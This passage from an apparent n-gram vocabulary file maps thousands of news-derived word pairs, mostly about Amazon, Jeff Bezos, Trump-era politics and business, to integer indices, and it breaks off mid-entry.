"mta repairs": 142066, "recommendations earlier": 142067, "government insider": 142068, "fair outcome": 142069, "korea undeclared": 142070, "extraordinary story": 142071, "drive mutually": 142072, "exchange reviewed": 142073, "pennsgrove": 142074, "william golding": 142075, "election complete": 142076, "arrested jfk": 142077, "identify problem": 142078, "fresh water": 142079, "blockbusters": 142080, "widely discredited": 142081, "birnbaum ocasio": 142082, "2019 editor": 142083, "eden games": 142084, "capitalization barrier": 142085, "called oath": 142086, "trump link": 142087, "campaign debate": 142088, "communications specialist": 142089, "gov northam": 142090, "visit venezuela": 142091, "course tohold": 142092, "creating endless": 142093, "oppressive government": 142094, "buying newspaper": 142095, "mamrie hart": 142096, "echo intelligent": 142097, "positively impacted": 142098, "commerce consumers": 142099, "tragic photo": 142100, "integrate costly": 142101, "encourage smart": 142102, "bipartisan agreement": 142103, "housing welcome": 142104, "boast": 142105, "frum foto": 142106, "pay bills": 142107, "westervelt yeah": 142108, "showy": 142109, "9e72": 142110, "administration barack": 142111, "trend stuart": 142112, "equity analyst": 142113, "expect profit": 142114, "pegs": 142115, "bolsonaro took": 142116, "base carrying": 142117, "paint stripper": 142118, "casino complex": 142119, "surprisingly strong": 142120, "ging": 142121, "new players": 142122, "producing goods": 142123, "frequent punching": 142124, "week ken": 142125, "kyle story": 142126, "process bezos": 142127, "foods read": 142128, "suggestive photos": 142129, "conference claiming": 142130, "blog website": 142131, "outlet released": 142132, "previously agreed": 142133, "261 million": 142134, "microsoft shareholders": 142135, "entertainment business": 142136, "goods costs": 142137, "inventioneers photo": 142138, "historic militarization": 142139, "customers paul": 142140, "obert": 142141, "economic historian": 142142, "jpg related": 142143, "financial impact": 142144, "redistributed wcmh": 142145, "archenemy donald": 142146, "young boy": 142147, "mean huge": 142148, "alluded": 142149, "called developed": 142150, "council nyc": 142151, "investigate trump": 142152, "bolsonaro risks": 142153, "vent": 142154, "today gibbs": 142155, "dry cleaner": 142156, "tank known": 142157, "leading enterprise": 142158, "really feel": 142159, "bitter southerner": 142160, "rashad": 142161, "ongoing feud": 142162, "corporation": 142163, "sec financial": 142164, "floods battered": 142165, "ceo says": 142166, "jaffray takes": 142167, "stainless": 142168, "detentions": 142169, "portal": 142170, "giant slalom": 142171, "admirable": 142172, "gated project": 142173, "america fought": 142174, "ensnared nations": 142175, "young women": 142176, "texas attorney": 142177, "special live": 142178, "finalized donnelly": 142179, "populairste": 142180, "confidential tip": 142181, "express mail": 142182, "survive long": 142183, "russia new": 142184, "friendly plan": 142185, "ad writer": 142186, "exerting": 142187, "mess isn": 142188, "cnn owned": 142189, "write offs": 142190, "russia japan": 142191, "regulators did": 142192, "cnn disapproves": 142193, "private lives": 142194, "blasting amazon": 142195, "large loopholes": 142196, "immigration debate": 142197, "marketplace extensions": 142198, "introduce direct": 142199, "doesn slow": 142200, "spending strong": 142201, "rod rosenstein": 142202, "billion taxpayer": 142203, "competitive dynamics": 142204, "delivery according": 142205, "gugino": 142206, "boeing ranked": 142207, "tivo": 142208, "archbishop archdiocese": 142209, "2018 sap": 142210, "usually isn": 142211, "accidents": 142212, "movie unplanned": 142213, "mistresses just": 142214, "shipping fake": 142215, "amazon senator": 142216, "charlatans step": 142217, "episode detective": 142218, "indicted number": 142219, "queens project": 142220, "roundly criticized": 142221, "manager gene": 142222, "amazon elvis": 142223, "mccain following": 142224, "deutsch": 142225, "amazon pullout": 142226, "mtv networks": 142227, "cnet": 142228, "movementy": 142229, "features editor": 142230, "endure mockery": 142231, "miami hurricanes": 142232, "moynihan vice": 142233, "president refuse": 142234, "k1a tostring": 142235, "evolutionary": 142236, "york queens": 142237, "expensive new": 142238, "katrina vanden": 142239, "called monetary": 142240, "read little": 142241, "exchanges west": 142242, "stronger corporations": 142243, "market david": 142244, "gasol packs": 142245, "remarkable roi": 142246, "great attacking": 142247, "essential brief": 142248, "people immediately": 142249, "a4ee": 142250, "437": 142251, "starts trading": 142252, "target bumped": 142253, "warren": 142254, "package sorting": 142255, "fee intended": 142256, "increased collaboration": 142257, "run items": 142258, "prosecutors ami": 142259, "endorsed": 142260, "trampling": 142261, "john trumplighthizer": 142262, "torres analysts": 142263, "groups urged": 142264, "software product": 142265, "thorough investigation": 142266, "bought transportation": 142267, "include general": 142268, "nelson trump": 142269, "think new": 142270, "entertainment facebook": 142271, "h4jm87qkvj": 142272, "trump donald": 142273, "groundwork": 142274, "gain warrant": 142275, "gives people": 142276, "financial meltdown": 142277, "acclaimed hbo": 142278, "windows mark": 142279, "voter education": 142280, "worry google": 142281, "honest person": 142282, "enquirer showed": 142283, "img_foreignkey 173218731": 142284, "everybody paying": 142285, "bermuda despite": 142286, "sanchez response": 142287, "ceo received": 142288, "dino world": 142289, "1780": 142290, "earl": 142291, "showdown drones": 142292, "leakin james": 142293, "sold 555": 142294, "orders trump": 142295, "taking leading": 142296, "term liabilities": 142297, "trump force": 142298, "sanders presidential": 142299, "ratings 2018": 142300, "time fourteen": 142301, "small unit": 142302, "assistant commissioner": 142303, "trading major": 142304, "seller omarosa": 142305, "told politifact": 142306, "hp_listb_pos2 source": 142307, "supposedly tipped": 142308, "bezos head": 142309, "morthland says": 142310, "learning curveare": 142311, "japan hosting": 142312, "press passage": 142313, "health costs": 142314, "var o2x": 142315, "denholm": 142316, "new mission": 142317, "leaning policies": 142318, "saudi arabian": 142319, "cities competed": 142320, "traeger": 142321, "itasat": 142322, "cat quality": 142323, "county maryland": 142324, "bezos notified": 142325, "labor kidding": 142326, "tongue connected": 142327, "incident involving": 142328, "massacre parkland": 142329, "gov haslam": 142330, "angeles tv": 142331, "steeped": 142332, "biggest critics": 142333, "liability bamco": 142334, "season 321": 142335, "investigators released": 142336, "geo poli": 142337, "oahu": 142338, "carpal tunnel": 142339, "tight labor": 142340, "racist tweets": 142341, "president series": 142342, "extraordinary fee": 142343, "merchandise sales": 142344, "minute passages": 142345, "rare glimpse": 142346, "wasn check": 142347, "uber retailer": 142348, "meghan mccain": 142349, "taking shot": 142350, "proposed rulemaking": 142351, "orchestrate pr": 142352, "folly icahn": 142353, "brands blink": 142354, "firm notes": 142355, "diet trend": 142356, "issues places": 142357, "takes uncharacteristically": 142358, "kitchen confidential": 142359, "potus occasionally": 142360, "numbers trump": 142361, "crash alabama": 142362, "tuition credit": 142363, "democrats politico": 142364, "4ebc 9e72": 142365, "words upcoming": 142366, "1316": 142367, "brands analysis": 142368, "story macys": 142369, "shippers task": 142370, "grabbed nearly": 142371, "independent body": 142372, "cable internet": 142373, "culpan media": 142374, "implosion": 142375, "paying high": 142376, "producer": 142377, "bezos obviously": 142378, "legal department": 142379, "dismissed valid": 142380, "carell recent": 142381, "mitchell valentine": 142382, "depict": 142383, "bills delivered": 142384, "dishes": 142385, "450 billion": 142386, "major piece": 142387, "taking toiletry": 142388, "potus works": 142389, "leaks long": 142390, "complete table": 142391, "dropping": 142392, "2018 los": 142393, "sketchy sellers": 142394, "mule": 142395, "retail apocalypse": 142396, "added sordid": 142397, "misdeeds": 142398, "little moved": 142399, "donut shaped": 142400, "upsides": 142401, "add according": 142402, "bezos thousands": 142403, "army secretary": 142404, "decision requiring": 142405, "westjet airlines": 142406, "packages shipping": 142407, "regressive taxes": 142408, "weather recently": 142409, "post heather": 142410, "meng": 142411, "500 produced": 142412, "good think": 142413, "business potentially": 142414, "marked time": 142415, "ago bolduan": 142416, "conquering tech": 142417, "increasingly finding": 142418, "shared insights": 142419, "rodgers": 142420, "cover costs": 142421, "stopping": 142422, "people laugh": 142423, "low wage": 142424, "rekognition pilot": 142425, "arrival cuomo": 142426, "investment metrics": 142427, "strong leader": 142428, "president joe": 142429, "handbags zappos": 142430, "thing way": 142431, "rainforest converted": 142432, "quarter parsec": 142433, "competitor american": 142434, "aws compared": 142435, "stampsby record": 142436, "city love": 142437, "g0 return": 142438, "2018meanwhile usps": 142439, "package network": 142440, "decades related": 142441, "null": 142442, "secretary rick": 142443, "cortana announcement": 142444, "categories seizing": 142445, "bezos commerce": 142446, "rosetta": 142447, "post material": 142448, "instituted number": 142449, "company benefits": 142450, "1835et copyright": 142451, "amazon alibaba": 142452, "corruption": 142453, "hyak": 142454, "workers vendors": 142455, "2018 yelp": 142456, "medical": 142457, "detective minds": 142458, "inc_homepage_headline inc_homepage_headline_ab_test": 142459, "new economic": 142460, "second proposal": 142461, "taking bets": 142462, "word counterfeiting": 142463, "intelligence michael": 142464, "help build": 142465, "businesses sales": 142466, "outlet vox": 142467, "second thoughts": 142468, "amazon itemizing": 142469, "postpone hike": 142470, "fan turned": 142471, "right moser": 142472, "territory 2018": 142473, "jack mclaughlin": 142474, "gotten free": 142475, "dettmer": 142476, "edict": 142477, "shouldering": 142478, "hollis following": 142479, "decisions themes": 142480, "final result": 142481, "downplaying talk": 142482, "19th 2018": 142483, "genuinely useful": 142484, "athletes": 142485, "compelling choice": 142486, "representing writers": 142487, "diario": 142488, "criticised coverage": 142489, "spring president": 142490, "snakes": 142491, "marketing material": 142492, "forested land": 142493, "government monopoly": 142494, "stanford university": 142495, "dod used": 142496, "making sure": 142497, "supporters vip": 142498, "las": 142499, "17608448011": 142500, "scripted series": 142501, "cup": 142502, "despite profits": 142503, "environmental restrictions": 142504, "raises risk": 142505, "nfl network": 142506, "neighboring lesser": 142507, "barclays morgan": 142508, "reportedly selling": 142509, "long line": 142510, "2015 attack": 142511, "section carell": 142512, "broward league": 142513, "love jeff": 142514, "insider attack": 142515, "air reporter": 142516, "airstrike targeting": 142517, "technology acquisition": 142518, "disparaged mccain": 142519, "rarely": 142520, "tryingto convince": 142521, "ut": 142522, "recently introduced": 142523, "today stocks": 142524, "herera thanks": 142525, "president michigan": 142526, "benchmark wrote": 142527, "road": 142528, "law exists": 142529, "decreased sharply": 142530, "offered praise": 142531, "cap played": 142532, "spots scars": 142533, "nyse dhi": 142534, "scandal best": 142535, "ceo tech": 142536, "bezos blog": 142537, "zinke hometown": 142538, "warranty liability": 142539, "sawn": 142540, "shipping discount": 142541, "shoppers amazon": 142542, "vaughn hathaway": 142543, "amazon strongly": 142544, "labor infrastructure": 142545, "burning lee": 142546, "outlier": 142547, "org told": 142548, "service excellence": 142549, "bezos issued": 142550, "investment unfortunately": 142551, "chagrin": 142552, "mobilelogo": 142553, "breathtakingly totalitarian": 142554, "risk especially": 142555, "pharma supply": 142556, "effectively share": 142557, "neoliberalism": 142558, "bigger": 142559, "contractors does": 142560, "tactics pecker": 142561, "frontiers apple": 142562, "seattle venture": 142563, "ga real": 142564, "indigenous affairs": 142565, "mark bogen": 142566, "public focus": 142567, "rule join": 142568, "amazon captured": 142569, "jessica": 142570, "augmented reality": 142571, "better medicare": 142572, "lgbt americans": 142573, "sidelined workers": 142574, "folk witness": 142575, "wariness": 142576, "melatonin gummies": 142577, "cautiously acknowledging": 142578, "jojo": 142579, "labor reductions": 142580, "americans seniors": 142581, "article noted": 142582, "suburbs view": 142583, "la garza": 142584, "lie ahead": 142585, "helm": 142586, "sales trips": 142587, "accused china": 142588, "warehouse loads": 142589, "residents student": 142590, "government operations": 142591, "greatest investigation": 142592, "new jerusalem": 142593, "tear gas": 142594, "schumer": 142595, "developing": 142596, "distribution centres": 142597, "preferred outcome": 142598, "insulted": 142599, "employee hours": 142600, "teenager navigating": 142601, "movie worthy": 142602, "fully legalized": 142603, "t9x b0": 142604, "workers town": 142605, "huge hunt": 142606, "photo books": 142607, "luxembourg ruling": 142608, "sense": 142609, "communities chance": 142610, "workers skip": 142611, "helsinki trump": 142612, "school math": 142613, "fuel according": 142614, "amzn shaker": 142615, "markets bartiromo": 142616, "shap": 142617, "quota": 142618, "conference seahawks": 142619, "solve problems": 142620, "woodward gives": 142621, "earlier real": 142622, "feature allows": 142623, "just registered": 142624, "app draw": 142625, "exchange observes": 142626, "shoulder straps": 142627, "unionized indifference": 142628, "deal lawmakers": 142629, "infamous american": 142630, "woodward check": 142631, "assemblywoman rozic": 142632, "contact info": 142633, "privacy according": 142634, "markets language": 142635, "toxic pharmaceuticals": 142636, "encouraged activists": 142637, "alfresco government": 142638, "mulligan": 142639, "versatility": 142640, "investigation mulligan": 142641, "spying": 142642, "bashing journalists": 142643, "hostile nature": 142644, "kth": 142645, "developer kit": 142646, "gamer david": 142647, "taking step": 142648, "small target": 142649, "founder heidi": 142650, "thesson politico": 142651, "announcing legal": 142652, "animal crossing": 142653, "architect headlineplaintext": 142654, "life changed": 142655, "johnson survivor": 142656, "public commitment": 142657, "motors gm": 142658, "khashoggi death": 142659, "la airbnb": 142660, "outline explicit": 142661, "seen market": 142662, "ally david": 142663, "tango": 142664, "muckerman alphabet": 142665, "mandating verizon": 142666, "alphabet tanks": 142667, "tied": 142668, "david weprin": 142669, "bezos mentions": 142670, "new settlers": 142671, "midweek fixture": 142672, "mueller asks": 142673, "indian menu": 142674, "artist zozi009": 142675, "campaigners": 142676, "increase import": 142677, "suit": 142678, "seat white": 142679, "urban meyer": 142680, "paralyze": 142681, "investor warren": 142682, "2018 gain": 142683, "separate purchase": 142684, "amazon friendly": 142685, "officers fired": 142686, "fredericks": 142687, "criticized bezos": 142688, "renewable energy": 142689, "longtime residents": 142690, "padma": 142691, "settings remotely": 142692, "nyx orange": 142693, "trigger retaliation": 142694, "amazon breaks": 142695, "buckingham": 142696, "best general": 142697, "sweeping presidential": 142698, "invoices": 142699, "vestal": 142700, "workers echoed": 142701, "uses gerrymanding": 142702, "progressive lambs": 142703, "monopoly dod": 142704, "arrested alvarez": 142705, "mccain telling": 142706, "data happy": 142707, "faux itemizing": 142708, "hockey player": 142709, "presidential precedent": 142710, "companies availing": 142711, "extra perks": 142712, "certain republican": 142713, "grow humor": 142714, "massachusetts towns": 142715, "reprise": 142716, "analyst sean": 142717, "new parents": 142718, "major anti": 142719, "computer hacking": 142720, "changes usps": 142721, "term impact": 142722, "wallets amazon": 142723, "book ratings": 142724, "trafficking terrorism": 142725, "anti lgbtq": 142726, "order directing": 142727, "avoid import": 142728, "fiefdoms": 142729, "regrowth": 142730, "robert barnes": 142731, "bless": 142732, "previously claimed": 142733, "mccabe james": 142734, "workplace environment": 142735, "simply stop": 142736, "say maybe": 142737, "imaginations": 142738, "tech talkingtech": 142739, "true today": 142740, "mark cigars": 142741, "created million": 142742, "\u014277 9million": 142743, "experienced": 142744, "possibility don": 142745, "citing unidentified": 142746, "russia case": 142747, "quality material": 142748, "ditched": 142749, "trump efforts": 142750, "based lead": 142751, "hoy": 142752, "stealth doorway": 142753, "2021 nycedc": 142754, "known retailing": 142755, "unsavory enterprise": 142756, "eu ruling": 142757, "medical attention": 142758, "wing gop": 142759, "adnoc": 142760, "prospect amazon": 142761, "cn carousel": 142762, "news specifically": 142763, "question retirement": 142764, "text leaks": 142765, "global financial": 142766, "watch trump": 142767, "people alexandria": 142768, "requires sustainable": 142769, "employed similar": 142770, "benny": 142771, "hiring drivers": 142772, "risk letting": 142773, "dynasty posted": 142774, "wild adventure": 142775, "does cheap": 142776, "aluminum industry": 142777, "subject monopoly": 142778, "stopped disclosing": 142779, "ubhi contacted": 142780, "facilities jeff": 142781, "criminal discovery": 142782, "received complaints": 142783, "old usually": 142784, "stayed quiet": 142785, "greer sorry": 142786, "president repeatedly": 142787, "736": 142788, "breached": 142789, "creepy line": 142790, "mike shear": 142791, "sexism reckless": 142792, "veronika": 142793, "replacing nafta": 142794, "amazon surplus": 142795, "r35i5t": 142796, "itt": 142797, "gmt mass": 142798, "deploy rekognition": 142799, "trump returns": 142800, "help restore": 142801, "madden": 142802, "brought 2012": 142803, "troll doll": 142804, "hewson marillyn": 142805, "combating counterfeit": 142806, "certainly boost": 142807, "ai tools": 142808, "creating issues": 142809, "theranos": 142810, "groceries web": 142811, "decried amazon": 142812, "claiming google": 142813, "train boondoggle": 142814, "classified information": 142815, "biggest tax": 142816, "tex": 142817, "boyne": 142818, "particular delight": 142819, "neo sovereigns": 142820, "amazon magic": 142821, "forming new": 142822, "date gains": 142823, "college tuition": 142824, "viceland": 142825, "248": 142826, "year time": 142827, "trump telling": 142828, "android devices": 142829, "smirk": 142830, "exclusive kaitlyn": 142831, "anthropomorphized": 142832, "complaint pdf": 142833, "669": 142834, "frontier google": 142835, "charring": 142836, "dollar tree": 142837, "makes creepy": 142838, "brandishing": 142839, "vape": 142840, "000 loan": 142841, "year making": 142842, "cover earlier": 142843, "york backyards": 142844, "inclusionary housing": 142845, "transfers": 142846, "health cares": 142847, "augusto": 142848, "house communications": 142849, "rejected amazon": 142850, "super sad": 142851, "subsequent reporting": 142852, "randal quarles": 142853, "activist hala": 142854, "prosperity wrote": 142855, "mandy": 142856, "matt chayes": 142857, "apple quietly": 142858, "unfolds": 142859, "sky news": 142860, "musicmodernizationact 784": 142861, "gripping narrative": 142862, "censorship efforts": 142863, "digital world": 142864, "businesses dave": 142865, "multiplayer fun": 142866, "billion larcker": 142867, "letter ends": 142868, "fretful": 142869, "additional": 142870, "network representative": 142871, "migrant parents": 142872, "coming initiatives": 142873, "extra funds": 142874, "marriage alive": 142875, "opportune time": 142876, "invesco": 142877, "deriving": 142878, "distinctly neo": 142879, "email box": 142880, "sidewalk cafes": 142881, "2018 today": 142882, "perez yes": 142883, "encounter steve": 142884, "jeffrey saut": 142885, "charging higher": 142886, "consuming companies": 142887, "overt politicization": 142888, "congress including": 142889, "royals hrh": 142890, "night comic": 142891, "class stamps": 142892, "rayner": 142893, "submit": 142894, "obscene": 142895, "stock jpmorgan": 142896, "family bezos": 142897, "won control": 142898, "force changes": 142899, "softly carries": 142900, "100000": 142901, "regional networks": 142902, "exceptional customer": 142903, "marketplace evidence": 142904, "nationalize control": 142905, "npr alina": 142906, "1868": 142907, "beagle": 142908, "subsidies sanders": 142909, "quality products": 142910, "waters makes": 142911, "things improved": 142912, "pelosi president": 142913, "wasn total": 142914, "southern border": 142915, "cattle ranching": 142916, "lure companies": 142917, "company abused": 142918, "reporting understand": 142919, "illegally immoral": 142920, "enquirer staff": 142921, "hat read": 142922, "multicooker": 142923, "gives owner": 142924, "kern": 142925, "week 365": 142926, "kick trump": 142927, "pushing ambitious": 142928, "potentially galling": 142929, "thrilled jeff": 142930, "overturn awards": 142931, "monico emailed": 142932, "bloomberg rose": 142933, "supporting liberal": 142934, "commonplace scene": 142935, "just pleased": 142936, "getting weirder": 142937, "infuriated howard": 142938, "needs new": 142939, "colderice": 142940, "rep eliot": 142941, "ryan trailer": 142942, "build headquarters": 142943, "khosrowshahi loves": 142944, "subjects job": 142945, "reputational": 142946, "john major": 142947, "state republican": 142948, "hbo host": 142949, "t1": 142950, "cabinet shakeup": 142951, "blumhouse consists": 142952, "included maryland": 142953, "owns 644": 142954, "lifelong": 142955, "kindness": 142956, "busted": 142957, "thing right": 142958, "customers walk": 142959, "begged amazon": 142960, "spyjust": 142961, "father raphael": 142962, "height videocmsuri": 142963, "hauntings": 142964, "ami links": 142965, "case better": 142966, "timeshare owners": 142967, "nypost": 142968, "globe earlier": 142969, "trump loathing": 142970, "based pure": 142971, "media editor": 142972, "quoted mccain": 142973, "ago cnn": 142974, "raposa serra": 142975, "security affairs": 142976, "myriad legal": 142977, "null cnl_global_nav_background_gradient_start": 142978, "fade away": 142979, "heavenly light": 142980, "announcement photo": 142981, "history rt": 142982, "companies development": 142983, "aide demands": 142984, "new infusion": 142985, "indicated": 142986, "street corner": 142987, "milk studios": 142988, "kelly mccain": 142989, "claimed investigators": 142990, "56m": 142991, "kimmel grills": 142992, "deflate": 142993, "labor movement": 142994, "truck crossing": 142995, "asylumist": 142996, "congress taking": 142997, "seemingly allow": 142998, "investing profits": 142999, "love michael": 143000, "hills mothers": 143001, "really expect": 143002, "mocking caitlyn": 143003, "guest eliana": 143004, "ice hockey": 143005, "pay policies": 143006, "wild blue": 143007, "raids large": 143008, "factory job": 143009, "sino": 143010, "magnetic kickstand": 143011, "manha": 143012, "adjusted second": 143013, "twitter glad": 143014, "tech startups": 143015, "various social": 143016, "country hasn": 143017, "way president": 143018, "bro flight": 143019, "fossil fuel": 143020, "carpet": 143021, "gop held": 143022, "monitoring 2018": 143023, "taxed state": 143024, "businesses": 143025, "sundance": 143026, "amzn walmart": 143027, "larger rival": 143028, "positions": 143029, "fellow fox": 143030, "sad people": 143031, "ceo housing": 143032, "victims told": 143033, "indicators": 143034, "party lines": 143035, "shone": 143036, "numerous nude": 143037, "heart tracks": 143038, "litigation designed": 143039, "sellers having": 143040, "america mission": 143041, "win result": 143042, "nik": 143043, "albin": 143044, "long tailed": 143045, "bet apologized": 143046, "fargo maintained": 143047, "usurpation": 143048, "news walmart": 143049, "kr notably": 143050, "nyse gs": 143051, "house late": 143052, "order cnn": 143053, "smelling": 143054, "threatens national": 143055, "antonio reveals": 143056, "tpezt2qu3g": 143057, "arry": 143058, "tech infrastructure": 143059, "great conversation": 143060, "trump noted": 143061, "addition really": 143062, "friends say": 143063, "jassy failure": 143064, "blank": 143065, "david price": 143066, "reality technology": 143067, "antivirus software": 143068, "passed bad": 143069, "consuming": 143070, "kurtz foto": 143071, "exclusive alfalfa": 143072, "md peace": 143073, "gods follows": 143074, "increasingly impressive": 143075, "income drop": 143076, "different language": 143077, "orders index": 143078, "200 points": 143079, "huffing": 143080, "service second": 143081, "essential role": 143082, "launch brands": 143083, "channels just": 143084, "tribune eagle": 143085, "solomon": 143086, "attacks risk": 143087, "gangster deep": 143088, "400 shared": 143089, "notes pecker": 143090, "mile food": 143091, "company introduced": 143092, "getaway": 143093, "buying negative": 143094, "bezos gates": 143095, "solve boorstin": 143096, "morally flexible": 143097, "fake story": 143098, "independent sen": 143099, "day records": 143100, "100 calories": 143101, "cory": 143102, "indispensable role": 143103, "amazon quest": 143104, "journal usa": 143105, "southern main": 143106, "service plans": 143107, "bezos dropped": 143108, "mnuchin confirmed": 143109, "project outlines": 143110, "mean toronto": 143111, "debt nov": 143112, "qi": 143113, "amazon lord": 143114, "selling services": 143115, "house generated": 143116, "trump toys": 143117, "doctored fakery": 143118, "having left": 143119, "month hulu": 143120, "keeley hawes": 143121, "carrier safety": 143122, "certificate": 143123, "virginia curiously": 143124, "planet thinks": 143125, "drug trial": 143126, "stay instead": 143127, "tank writes": 143128, "school funding": 143129, "vip": 143130, "enquirer website": 143131, "benefits workers": 143132, "people enemy": 143133, "director talks": 143134, "anti corporate": 143135, "stories follow": 143136, "shows parkland": 143137, "reputation institute": 143138, "waning": 143139, "concerns regarding": 143140, "124": 143141, "states tensions": 143142, "word trump": 143143, "year blood": 143144, "legal services": 143145, "india love": 143146, "texture try": 143147, "surgeon general": 143148, "million objects": 143149, "separating aws": 143150, "reconsidered": 143151, "tantrum": 143152, "editor david": 143153, "corporate locations": 143154, "taught economics": 143155, "positive fiscal": 143156, "policies bob": 143157, "stalking case": 143158, "spurious": 143159, "taking near": 143160, "festering": 143161, "arabia abramowitz": 143162, "absurd tax": 143163, "government enforce": 143164, "wealth gap": 143165, "costs totaled": 143166, "net trade": 143167, "isn reboot": 143168, "pompeo sen": 143169, "bezos referred": 143170, "enquirer despite": 143171, "time bonuses": 143172, "visionary": 143173, "aspiriant": 143174, "peavine": 143175, "syncs": 143176, "services hhs": 143177, "classic case": 143178, "party flagged": 143179, "encouraged employees": 143180, "company fee": 143181, "jolt lower": 143182, "socioambiental": 143183, "driver assisted": 143184, "geographic": 143185, "spend half": 143186, "win streaks": 143187, "bodes": 143188, "partly cloudy": 143189, "discussed selling": 143190, "nflx": 143191, "continued donald": 143192, "trump thinks": 143193, "trump faced": 143194, "interior ryan": 143195, "overly nancy": 143196, "retailer weekly": 143197, "support bloodying": 143198, "allowing massive": 143199, "fat cats": 143200, "yeah selyukh": 143201, "prosperity gospel": 143202, "outfits helped": 143203, "pennies": 143204, "merchants warehouses": 143205, "minus negative": 143206, "remarks targeting": 143207, "volume simply": 143208, "sharp criticism": 143209, "infusion": 143210, "settimeout function": 143211, "giant microsoft": 143212, "plays joy": 143213, "make earnings": 143214, "short sting": 143215, "netflix chilling": 143216, "spoken glowingly": 143217, "buzz60 file": 143218, "lost sixth": 143219, "intimidate witnesses": 143220, "employment says": 143221, "winner white": 143222, "florida golf": 143223, "stocks investing": 143224, "intelligence antitrust": 143225, "pressures businesses": 143226, "mauricio": 143227, "diplomatically continue": 143228, "culturally important": 143229, "video player": 143230, "traditional carabiner": 143231, "briefly lifted": 143232, "rekognition aws": 143233, "uwu owo": 143234, "jf0cj6zesg": 143235, "new family": 143236, "credible guy": 143237, "pagels ecco": 143238, "mcdonogh courier": 143239, "including leaked": 143240, "continuing medical": 143241, "additional announces": 143242, "country giant": 143243, "left needs": 143244, "food supply": 143245, "agencies contract": 143246, "political weight": 143247, "ma says": 143248, "70s american": 143249, "wmal": 143250, "perishable goods": 143251, "solid binge": 143252, "pay prevailing": 143253, "us150 000": 143254, "grammar geometry": 143255, "sparkle": 143256, "company main": 143257, "phrase impeach": 143258, "years amy": 143259, "cv": 143260, "support president": 143261, "consistently incorrect": 143262, "amazon affiliated": 143263, "netflixs sacred": 143264, "content analysis": 143265, "important country": 143266, "pitney bowes": 143267, "report suspicious": 143268, "weinstein walked": 143269, "stephanie": 143270, "innovative benefit": 143271, "john phillips": 143272, "india status": 143273, "national dinner": 143274, "providers knocks": 143275, "fined nearly": 143276, "search photo": 143277, "weaver executive": 143278, "capital gains": 143279, "ads hide": 143280, "party partners": 143281, "fight scenes": 143282, "executive response": 143283, "note earlier": 143284, "return t5q": 143285, "helped arrange": 143286, "maurice ellisonthe": 143287, "531 shares": 143288, "yorkers love": 143289, "used independent": 143290, "moneywithout ruining": 143291, "listed price": 143292, "desperately poor": 143293, "109 billion": 143294, "office plastic": 143295, "experimentation": 143296, "target best": 143297, "252 million": 143298, "costs equality": 143299, "residential property": 143300, "800 845": 143301, "called conglomerate": 143302, "twitter dorsey": 143303, "view trump": 143304, "company treats": 143305, "amazon denies": 143306, "work permits": 143307, "racine planned": 143308, "lucknow": 143309, "washington sinclair": 143310, "grandinetti": 143311, "issue eventually": 143312, "btt": 143313, "cannabinoid": 143314, "government cut": 143315, "appropriate number": 143316, "holidays arrive": 143317, "figures assistant": 143318, "past obstacle": 143319, "taseer author": 143320, "cass sunstein": 143321, "metropolises": 143322, "directly engaged": 143323, "government removing": 143324, "saturdaynight live": 143325, "item manufacturer": 143326, "transmit": 143327, "ahead don": 143328, "spons keywords": 143329, "speculation": 143330, "partner": 143331, "states 110": 143332, "exploratory": 143333, "deny trump": 143334, "free good": 143335, "practices probing": 143336, "skill michigan": 143337, "ago trending": 143338, "place harley": 143339, "pie squared": 143340, "flew 600": 143341, "hardcover copies": 143342, "company solidified": 143343, "reports emerged": 143344, "group purpose": 143345, "breaking apart": 143346, "amazon predatory": 143347, "hemisphere": 143348, "trademark applications": 143349, "page land": 143350, "spoof": 143351, "denel": 143352, "deadbeat daddy": 143353, "battleground pushes": 143354, "resumes flights": 143355, "way forward": 143356, "horowitz chief": 143357, "user promises": 143358, "force reviewed": 143359, "economic damages": 143360, "order trump": 143361, "walmart wmt": 143362, "flight landing": 143363, "improving": 143364, "claim false": 143365, "personal bezos": 143366, "eliana johnson": 143367, "huge source": 143368, "refugee service": 143369, "nation ouch": 143370, "russell limited": 143371, "drowned died": 143372, "bleak": 143373, "pressure makes": 143374, "street watchers": 143375, "trust regulations": 143376, "ante": 143377, "force appointed": 143378, "world problems": 143379, "match obviously": 143380, "watch reached": 143381, "district proposed": 143382, "good just": 143383, "bass": 143384, "hemorrhaging cash": 143385, "transported": 143386, "overlook skinny": 143387, "tsunami": 143388, "melania shines": 143389, "prevent alzheimer": 143390, "slow hiring": 143391, "crippling debt": 143392, "refinanced": 143393, "oecd read": 143394, "amazon margins": 143395, "washington publish": 143396, "studied 750": 143397, "fact 2012": 143398, "fair market": 143399, "laboratories": 143400, "wait minute": 143401, "amazon smart": 143402, "offer readers": 143403, "innovation contributed": 143404, "mcallen hidalgo": 143405, "claims contending": 143406, "future cash": 143407, "new interview": 143408, "gerryr812 status": 143409, "years close": 143410, "bezos clearly": 143411, "canceled planned": 143412, "investor relations": 143413, "mauricio torres": 143414, "beauty": 143415, "fargo acclaim": 143416, "rheinberg eduardo": 143417, "total": 143418, "border funding": 143419, "oecomplexifier": 143420, "1984 reasons": 143421, "declares": 143422, "deal appears": 143423, "anti swamp": 143424, "immediately yesterday": 143425, "arriving earnings": 143426, "creating blue": 143427, "reports missouri": 143428, "cuttino": 143429, "pregame": 143430, "impersonating": 143431, "amazon newsy": 143432, "year amazon": 143433, "husband jeff": 143434, "denver post": 143435, "tm crackdown": 143436, "diseases energy": 143437, "eased": 143438, "2bvwxqnatl": 143439, "higher steel": 143440, "state funding": 143441, "wire new": 143442, "unpredictable globes": 143443, "del percio": 143444, "ethics disclosures": 143445, "assisted": 143446, "exposed blazed": 143447, "safety monitoring": 143448, "centers sell": 143449, "customers bought": 143450, "2016 c5": 143451, "tony armstrong": 143452, "base tends": 143453, "negatively impact": 143454, "talked little": 143455, "charging outside": 143456, "hbo jane": 143457, "561 shares": 143458, "600 times": 143459, "hateful conduct": 143460, "police unit": 143461, "u0 d4a": 143462, "told vice": 143463, "service lets": 143464, "carrier costs": 143465, "counterpoint": 143466, "wolff": 143467, "burch": 143468, "shutdown president": 143469, "michael sister": 143470, "qdt4yol5z4": 143471, "historically bad": 143472, "journalistic": 143473, "company dating": 143474, "geopolitics": 143475, "enquirer insider": 143476, "methodologies": 143477, "discussions lead": 143478, "loan debt": 143479, "house deliveries": 143480, "software businesses": 143481, "counselors craig": 143482, "boorstin takes": 143483, "stage making": 143484, "seattle say": 143485, "talk quickly": 143486, "major publishers": 143487, "eavesdropping bug": 143488, "voters believed": 143489, "withdrew obama": 143490, "downsizinggovernment org": 143491, "newspaper owner": 143492, "health scares": 143493, "ordinarily": 143494, "thoughtfully selected": 143495, "heist": 143496, "torres 